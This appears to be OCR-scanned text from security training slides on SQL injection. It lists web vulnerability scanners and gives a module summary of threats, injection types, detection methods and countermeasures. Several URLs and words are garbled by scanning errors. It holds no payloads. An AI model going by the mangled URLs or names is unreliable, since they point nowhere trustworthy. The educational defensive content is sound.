Microsoft Code Analysis Tool
.NET (CAT.NET)

http:/fwvnwe microsaft.com

NGS SQuirrel Vulnerability

Scanners
http:/fwwwnoogroup, com

WSSA - Web Site Security

Scanning Service
http:/fwww beyondsecurity.com

N-Stalker Web Application

Security Scanner
http:/fwww.nstalker.com
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Module Summary

e =

g

gl a SQL injection is the most common website uulnerabiiit*,r on the Internet
that takes advantage of non-validated input vulnerabilities to pass SQL commands
through a Web application for execution by a backend database

Threats of SOL injection include authentication bypass, information disclosure, and data
integrity and availability compromise

SQL injection is broadly categorized as error based SQL injection and blind SQL injection

Database admins and web application developers need to follow a methodological approach to

detect SQL injection vulnerabilities in web infrastructure that includes manual testing, function
testing, and fuzzing

Pen testers and attackers need to follow a comprehensive SQL injection methodology and use
automated tools such as BSQLHacker for successful injection attacks

Major SQL injection countermeasures involve input data validation, error message suppression

or customization, proper DB access privilege management, and isolation of databases from
underlying OS
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